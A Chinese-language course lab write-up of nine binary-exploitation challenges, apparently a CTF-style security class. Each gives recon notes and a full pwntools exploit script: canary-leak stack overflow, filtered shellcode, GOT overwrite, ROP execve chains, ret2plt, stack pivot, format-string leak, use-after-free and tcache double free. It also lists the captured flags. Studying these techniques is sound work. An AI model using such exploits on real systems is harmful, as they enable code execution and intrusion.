---
# System prepended metadata

title: SWSEC LAB3 Writeup
tags: [swsec, writeup]

---

# SWSEC LAB3 Writeup
###### tags: `swsec` `writeup`

<style>
    p:has(img) {
        text-align: center;
    }
    
    .markdown-body img {
        max-width: 75%;
    }
</style>

## Stackoverflow
### Recon

保護全開

![image](https://hackmd.io/_uploads/ry5CloLLp.png =35%x)

buf 僅有 8 bytes 但 read 0x20 bytes
雖然有 ASLR 但他把 win 給你了
也透過 write 0x20 把 stack 上的 canary 與 old rbp 一起送給你

![image](https://hackmd.io/_uploads/S1wjgsUUa.png =50%x)

### Exploit
![image](https://hackmd.io/_uploads/r1q2NHP86.png)

Stack 由高位置往低位置長 但寫 char array 是從低到高
因此可以 override 掉 stack frame 中的 rbp / return address 來控制程式流程

把 buf 填滿後 把 canary 照著填回去 然後讓他 return 到 win 即可
另外要注意跑完 main 的 function epilogue 之後 再做 win 的 function prologue stack 會不對齊 0x10 進而導致 `system` 中的 xmm register 相關操作噴 SEGV
因此要跳到 win 底下一點點來跳過 push rbp 的部分

`Stackoverflow/exp.py`
```python
from pwn import *

context.log_level = 'error'

host, port = "10.113.184.121", 10041
r = remote(host, port)

r.recvuntil(b"Gift: ")
win = int(r.recvline().strip(), 16)

r.recvuntil(b"Gift2: ")
gift2 = r.recv(0x20)

canary = gift2[8:8+8]
rbp = gift2[16:16+8]

r.send(b"A" * 8 + canary + rbp + p64(win + 5)) # skip push rbp to align stack

r.interactive()
```

![image](https://hackmd.io/_uploads/rkcLfztrT.png)

FLAG: `flag{Y0u_know_hoW2L3@k_canAry}`

## Shellcode
### Recon
![image](https://hackmd.io/_uploads/rJ9EFoU86.png)


開了一塊 mmap 記憶體 具可執行權限 (prot = `7` (RWX))
然後跳過去執行 (`rax` 為 mmap return 的 address)
可以直接寫 shellcode 上去 讓他執行
但若出現 `0xF` 或 `0x5` 會被 patch 成 NULL

### Exploit
`syscall` 的 OP code 即為 `0F 05` 因此需要做繞過
這裡透過 XOR 來將 encode 過的 syscall OP code 做 decode 再 jmp 回 decode 好的 syscall 位置 (暫存到 `rbx` 算 offset)

`Shellcode/exp.py`
```python
from pwn import *
r = remote(host, port)

syscall = asm("syscall")

shellcode = f"""
mov rbx, rax /* save address of 'memory' */
{shellcraft.pushstr('/bin/sh')}
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 0x3b
jmp .+{hex(len(syscall) + 2)} /* len(asm('jmp ..')) = 2 */
"""
payload = asm(shellcode)

bypass_syscall = f"""
lea rbx, [rbx+{len(payload)}] /* len(payload) */
xor DWORD PTR [rbx], 0x1010
jmp rbx
"""
payload += xor(syscall, b"\x10")
payload += asm(bypass_syscall)

r.send(payload + b"\x90" * (0x1000 - len(payload))) # nop
r.interactive()
```

![image](https://hackmd.io/_uploads/H1n-GMtHp.png)

FLAG: `flag{How_you_do0o0o0o_sysca1111111}`

## Got
### Recon
Partial RELRO

![image](https://hackmd.io/_uploads/BJDS13LLa.png =40%x)

![image](https://hackmd.io/_uploads/ry_DAsUUp.png =60%x)

index (v4) 沒有檢查是否為負數 又 arr 在 .bss
可以透過負的 index 讀到 .bss 前面的東西 再改掉其值

比如說 GOT

![image](https://hackmd.io/_uploads/Sko0Cs8LT.png =60%x)

因為 Partial RELRO -> GOT 可寫
所以可以改寫 GOT 成 `system` 來拿 shell

### Exploit
底下有 call `printf("/bin/sh")` 所以把 `printf` 蓋成 `system` 就有 shell 不用再想辦法造 `"/bin/sh"`

`printf` 的 GOT 在 `0x4020` `arr` 在 `0x4048`
idx = $(\text{0x4020} - \text{0x4048}) / \text{0x8} = -5$

`Got/exp.py`
```python
from pwn import *
r = remote(host, port)

libc = ELF("./libc.so.6")

index = (0x4020 - 0x4048) // 8

r.sendlineafter(b"idx: ", str(index).encode())
r.recvuntil(b" = ")
printf = int(r.recvline().strip())

libc.address = printf - libc.sym['printf']

r.sendlineafter(b"val: ", str(libc.sym['system']).encode())
r.interactive()
```

![image](https://hackmd.io/_uploads/ryEWWzYS6.png)

FLAG: `flag{Libccccccccccccccccccccccccccc}`

## ROP_RW
### Recon
Staically linked binary

![image](https://hackmd.io/_uploads/rkRIQAUU6.png)

有 NX 但沒開 PIE

![image](https://hackmd.io/_uploads/SkIzm0886.png =40%x)

![image](https://hackmd.io/_uploads/Syl9zALUa.png)

`v13` 僅有 24 bytes gets 則會讀到 `\n` 或 EOF 才停止 因此可以用來做 BOF

### Exploit
因為 NX 所以需透過 ROP 做攻擊
另外其為 statically linked binary 所以用此 binary 裡的 ROP gadget 即可
ROP gadget 可透過 `ROPgadget` 的 python package 來找

bss 上剛好有個 empty_buf 可以拿來放 `"/bin/sh"`

![image](https://hackmd.io/_uploads/SyMUBAIIa.png)

直接堆一個 `execve('/bin/sh', 0, 0)` 出來拿 shell

`ROP_RW/exp.py`
```python
from pwn import *
r = remote(host, port)

PADDING = 0x20
BIN_SH_ADDR = 0x4C7320 # empty_buf
POP_RAX = 0x450117
POP_RDI = 0x4020af
POP_RSI = 0x40a11e
POP_RDX_RBX = 0x485e8b
MOV_QWORD_PTR_RDI_RDX = 0x4337e3
SYSCALL = 0x401e64

payload = flat([
    b'A' * PADDING,
    b'A' * 0x8,
    POP_RDI, BIN_SH_ADDR,
    POP_RDX_RBX, b'/bin/sh\0', b'/bin/sh\0',
    MOV_QWORD_PTR_RDI_RDX, # write /bin/sh to BIN_SH_ADDR
    POP_RDX_RBX, 0, 0,
    POP_RSI, 0,
    POP_RAX, 59,
    SYSCALL # execve('/bin/sh', 0, 0)
])

r.sendlineafter(b"> ", payload)
r.interactive()
```

![image](https://hackmd.io/_uploads/SyK6eGFra.png)

FLAG: `flag{ShUsHuSHU}`

## ROP_Syscall
### Recon
Staically linked binary

![image](https://hackmd.io/_uploads/B1cUbGDUp.png)

有 NX 但沒開 PIE

![image](https://hackmd.io/_uploads/BJR4bGPU6.png =40%x)

`v8` 8 bytes 但用 gets 可以做 BOF
有 NX 所以疊 ROP

![image](https://hackmd.io/_uploads/B1KXZGPIT.png =60%x)

### Exploit
binary 裡面有 ``"/bin/sh\0"``

![image](https://hackmd.io/_uploads/SJFDzGD8a.png)

找到字串 address 把 rdi 設過去即可
堆一個 `execve('/bin/sh', 0, 0)` 出來拿 shell

`ROP_Syscall/exp.py`
```python
from pwn import *
r = remote(host, port)

PADDING = 0x10
BIN_SH_ADDR = 0x498027 # /bin/sh in binary
POP_RAX = 0x450087
POP_RDI = 0x401f0f
POP_RSI = 0x409f7e
POP_RDX_RBX = 0x485e0b
SYSCALL = 0x401cc4

payload = flat([
    b'A' * PADDING,
    b'A' * 0x8,
    POP_RDI, BIN_SH_ADDR,
    POP_RDX_RBX, 0, 0,
    POP_RSI, 0,
    POP_RAX, 59,
    SYSCALL # execve('/bin/sh', 0, 0)
])

r.sendlineafter(b"> ", payload)
r.interactive()
```

![image](https://hackmd.io/_uploads/Hk_OefKrp.png)

FLAG: `flag{www.youtube.com/watch?v=apN1VxXKio4}`

## ret2plt
### Recon
非 statically linked binary

![image](https://hackmd.io/_uploads/HJX87zDLp.png)

保護只有 NX
No RELRO -> GOT 可寫

![image](https://hackmd.io/_uploads/SJQ4QGwIT.png =40%x)

![image](https://hackmd.io/_uploads/Sk3168DUT.png)

`v4` 可以用 gets 做 BOF

### Exploit
return 到 PLT 上的 stub 就可 call 該 library function
`puts@plt` 會輸出直到 NULL bytes 可以利用它來輸出 GOT 上的位置 (ex. `puts@got`) 來 leak libc base

後面用 `gets@plt` 可以把東西寫回去 這裡把 `puts@got` 寫成 `system` 的 address
另外 `setvbuf@got` 用不到了 借來用 `gets@plt` 把 `"/bin/sh\x00"` 讀上去

後面用 `puts@plt` 來達到 call `system("/bin/sh")` 的效果

`ret2plt/exp.py`
```python
from pwn import *
r = remote(host, port)

libc = ELF("./libc.so.6")

PADDING = 0x20

POP_RDI = 0x401263
BIN_SH_ADDR = 0x403380 # setvbuf@got
PUTS_GOT = 0x403368
PUTS_PLT = 0x401070
GETS_PLT = 0x401090

payload = flat([
    b'A' * PADDING,
    b'A' * 0x8,
    POP_RDI, PUTS_GOT,
    PUTS_PLT,
    POP_RDI, PUTS_GOT,
    GETS_PLT,
    POP_RDI, BIN_SH_ADDR,
    GETS_PLT,
    POP_RDI, BIN_SH_ADDR,
    PUTS_PLT
])

r.sendlineafter(b" :", payload)
r.recvuntil(b"boom !\n")

puts_addr = int(r.recv(6)[::-1].hex(), 16)
print(hex(puts_addr))
libc.address = puts_addr - libc.symbols['puts']
r.sendline(p64(libc.symbols['system']))
r.sendline(b"/bin/sh\x00")
r.interactive()
```

![image](https://hackmd.io/_uploads/rycSefKHa.png)

FLAG: `flag{__libc_csu_init_1s_P0w3RFu1l!!}`

## Stack Pivot
### Recon
Statically linked binary

![image](https://hackmd.io/_uploads/SJSKXfwUp.png)

No PIE

![image](https://hackmd.io/_uploads/HJpYQfwLT.png =40%x)


![image](https://hackmd.io/_uploads/BJbcFtPLT.png)

read 超過 `v4` 可以 BOF
但只讀 128 bytes 扣掉 `v4`、canary、old rbp 之後 只能寫 0x50 的 ROP 不太夠用

### Exploit
將 ROP 分成三段 (orw) 來做 每次都跳回去 `main+0xc` 來重新觸發漏洞

stack 上可能不好控 因此透過 old rbp 來將 stack 整個搬走 (下次 `leave` 時會 `mov rsp, rbp`)
用 bss 上的 `0x4c2700` 跟 `0x4c2900` 來回做 stack pivot

<img src=https://hackmd.io/_uploads/By6La1d86.png style="width: 45%">  <img src=https://hackmd.io/_uploads/HJwO6kdLT.png style="width: 45%">

後來有找到 `pop rdx ; ret` 的 gadget 所以直接先用了
因為 syscall 完不能就射後不理 後面需要有 `ret`
但用 ROPgadget 找不到直接 ret 的 syscall gadget 所以用 objdump 另外翻了一下

![image](https://hackmd.io/_uploads/SJnZye_8p.png)

只要 syscall 不失敗 `rax` 就不會小於 0 也不會觸發 ja
因此效果等同於 `syscall ; ret`

`Stack Pivot/exp.py`
```python
from pwn import *
r = remote(host, port)

PADDING = 0x20

STACK1_RBP = 0x4c2700
STACK2_RBP = 0x4c2900
BIN_SH_ADDR = 0x4C7320 # empty_buf
BUF_ADDR = 0x4c2800
READ_AGAIN_ADDR = 0x401ce1 # main+0xc

POP_RAX = 0x448d27
POP_RDI = 0x401832
POP_RSI = 0x40f01e
POP_RDX = 0x40173f
SYSCALL = 0x448280

pivot_payload = flat([
    b'A' * PADDING,
    STACK1_RBP,
    READ_AGAIN_ADDR
])
r.send(pivot_payload + b"\0" * (0x80 - len(pivot_payload)))

open_payload = flat([
    b"/home/chal/flag.txt".ljust(PADDING, b"\x00"),
    STACK2_RBP,
    POP_RDI, STACK1_RBP - 0x20,
    POP_RSI, 0,
    POP_RDX, 0,
    POP_RAX, 2, # open
    SYSCALL,
    READ_AGAIN_ADDR
])
r.send(open_payload + b"\0" * (0x80 - len(open_payload)))

read_payload = flat([
    b"A" * PADDING,
    STACK1_RBP,
    POP_RDI, 3,   # fd
    POP_RSI, BUF_ADDR,
    POP_RDX, 0x30, # size
    POP_RAX, 0, # read
    SYSCALL,
    READ_AGAIN_ADDR
])
r.send(read_payload + b"\0" * (0x80 - len(read_payload)))

write_payload = flat([
    b"A" * PADDING,
    b"A" * 8,
    POP_RDI, 1,   # fd
    POP_RSI, BUF_ADDR,
    POP_RDX, 0x30,
    POP_RAX, 1, # write
    SYSCALL
])
r.send(write_payload)

flag = r.recvline()
print(flag.strip().decode())
```

![image](https://hackmd.io/_uploads/HkIfgMYBT.png)

FLAG: `flag{www.youtube.com/watch?v=VLxvVPNpU04}`

## FMT
### Recon
![image](https://hackmd.io/_uploads/SJ-s7zvLa.png =40%x)


直接 `printf` 使用者輸入 可以透過 format string 來 leak stack 上的東西

![image](https://hackmd.io/_uploads/Sy5AqKwUa.png =60%x)

### Exploit
先用 `%idx$p` leak stack 上的 return addr 來算 binary base
再算出 `&flag` 並用 `%s` 來把內容印出來

![image](https://hackmd.io/_uploads/r1Gm0YvIT.png)

可以看到在 `$rsp + 0x138` 的地方有 `main` 的 address
其 idx 為 `5 + (0x0138 // 8 + 1)` (5 是五個 function 參數)

另外印 flag 的部分 是將 address 寫到 stack 上 算好其 offset 算出其 idx
讓前面 format 的部分剛好是 8 bytes 長 就可以用 buf 的 offset 算出 idx 後再 +1

`FMT/exp.py`
```python
from pwn import *
r = remote(host, port)

idx = 5 + (0x0138 // 8 + 1)
r.sendline(f"%{idx}$p".encode())
main_addr = int(r.recvline().decode().strip(), 16)
binary_base = main_addr - 0x11E9
flag_addr = binary_base + 0x4040

idx = 5 + (0x10 // 8 + 1)
# len("%{idx + 1}$s....") = 8
payload = f"%{idx + 1}$s".ljust(8, ".").encode() + p64(flag_addr)

r.sendline(payload)
flag = r.recvline()
print(flag.decode())
```

![image](https://hackmd.io/_uploads/SksU1GKHp.png)

FLAG: `flag{www.youtube.com/watch?v=Ci_zad39Uhw}`

## UAF
### Recon
保護全開

![image](https://hackmd.io/_uploads/B133XMDUp.png =40%x)

struct 中有 function pointer

![image](https://hackmd.io/_uploads/HkqfxluUT.png =40%x)

`register_entity` 會把 malloc 出來的 address 放到 global variable 上

![image](https://hackmd.io/_uploads/S1bbeguUa.png)

另外 `set_name` 會另外 malloc 一塊記憶體放到 entity chunk 中

![image](https://hackmd.io/_uploads/Hk-JzauLp.png =50%x)

`delete_entity` free 完之後不會清掉 `entities` 上面的值 因此有機會 use after free 蓋掉 function pointer 來執行 function

![image](https://hackmd.io/_uploads/H1-AyxuLT.png =50%x)

`trigger_event` 會以 `entity->event` 為參數 call `entity->event_handler`

![image](https://hackmd.io/_uploads/Bki6Ha_86.png)

前面還會直接送你 `system` address 跟第一個 malloc chunk 的 address

![image](https://hackmd.io/_uploads/rk-jexOU6.png =60%x)

### Exploit
他的 free 順序是先 free name 才 free entity
透過 tcache 的 FILO 特性 下次 call `set_name` 時若其 chunk size 與 `entity` 一樣大 就會拿出剛剛 free 的那個 entity 可以隨意更改其內容

把 idx 1 的 entity free 掉 再 `set_name` 0x18 長的資料即可任意寫 `entities[1]` 所指向的 entity

可以透過 `set_name` 來寫 `"/bin/sh"` 並可透過 `gift2` 來算出其在哪個 address
最後將 `entity->event_handler` 寫成 `system` 再將 `entity->event` 寫成 `&"/bin/sh"` `trigger_event` 後就可彈 shell

![image](https://hackmd.io/_uploads/r1DisT_86.png)

`register_entity`、`delete_entity`、`set_name` 等 function 請參考壓縮檔中腳本
`UAF/exp.py`
```python
from pwn import *
r = remote(host, port)

r.recvuntil(b"gift1: ")
system_addr = int(r.recvline().decode().strip(), 16)
r.recvuntil(b"gift2: ")
first_chunk_addr = int(r.recvline().decode().strip(), 16) # 0x10
sh_addr = first_chunk_addr + 0x10 + (0x10 + 0x10) + (0x10) 

register(0)
set_name(0, b"/bin/sh")
register(1)
delete(1)
set_name(1, p64(sh_addr) + p64(sh_addr) + p64(system_addr)[:-2]) # strip last \x00

trigger_event(1) # trigger system
r.interactive()
```

![image](https://hackmd.io/_uploads/S1L4kGYHp.png)

FLAG: `flag{https://www.youtube.com/watch?v=CUSUhXqThjY}`

## Double Free
### Recon
保護全開

![image](https://hackmd.io/_uploads/ryjamMw8p.png =40%x)

一開始會先將 flag read 到 idx 0 的 note 上

![image](https://hackmd.io/_uploads/BJGt1CO8T.png)

`get_idx` 會檢查範圍

![image](https://hackmd.io/_uploads/HkhWF6_IT.png)


`notes` 為 global var 有 15 個 `struct note` 裡面存有 malloc 的 address (`add_note`)

![image](https://hackmd.io/_uploads/HyiBOpO8T.png =40%x)

![image](https://hackmd.io/_uploads/By4KupOU6.png)

free 完沒有設成 NULL 有機會 UAF (`delete_note`)

![image](https://hackmd.io/_uploads/HkNNOadIa.png)

`write_note` 沒有再做 malloc 只有單純 read

![image](https://hackmd.io/_uploads/H1LR_aOUp.png)


### Exploit
在 tcache 中的 chunk data 前 8 bytes 會指到下一個 tcache bin 中的 chunk

![image](https://hackmd.io/_uploads/H1rPTTuLa.png)

透過重複 free 同個 chunk 可以讓 bin 中出現重複的 chunk
這樣第一次 malloc 跟後面再 malloc 就能拿到同個 chunk
這時再改寫 chunk 中的資料來 override next ptr 後 就能讓 malloc 回傳任意的位置 也就是 tcache poisoning

![image](https://hackmd.io/_uploads/BkMDlAdIT.png)


free 時要讓 key != tcache 否則會噴 `free(): double free detected in tcache`

前面先用 UAF 來 leak next 以計算 flag chunk 的 offset

這裡讓 malloc return 的位置是放 flag 的 address 再去 `read_note`
因為每次 malloc 時 key 會被清空 所以一次讀前 8 bytes 然後下次讀 `&flag + offset` (offset 每次 +8)

`add_note`、`delete_note`、`read_note` 等 function 請參考壓縮檔中腳本
`UAF/exp.py`
```python
from pwn import *

def get_conn():
    return remote(host, port)

def tcache_poisoning(offset):
    global r
    r = get_conn()

    add_note(10, 0x10)
    add_note(11, 0x10)
    delete_note(10)
    delete_note(11)

    # first malloc chunk data
    chunk_addr = u64(read_note(11, 8))
    flag_addr = chunk_addr - 0x10 - 0x30 + offset
    # double free
    add_note(1, 0x30)
    delete_note(1)
    write_note(1, b"\0" * 0x30)
    delete_note(1)
    write_note(1, b"\0" * 0x30)
    delete_note(1)
    # overwrite next
    add_note(1, 0x30)
    write_note(1, p64(flag_addr) + b"\0" * (0x30 - 8))
    add_note(2, 0x30)
    add_note(3, 0x30)

    flag = read_note(3, 8)
    return flag

flag = b""
for i in range(0, 0x30, 8):
    part = tcache_poisoning(i)
    if sum(part) == 0: break
    flag += part
print(flag.strip(b"\0").strip().decode())
```

![image](https://hackmd.io/_uploads/S1UeJftrT.png)

FLAG: `flag{a_iU8YeH944}`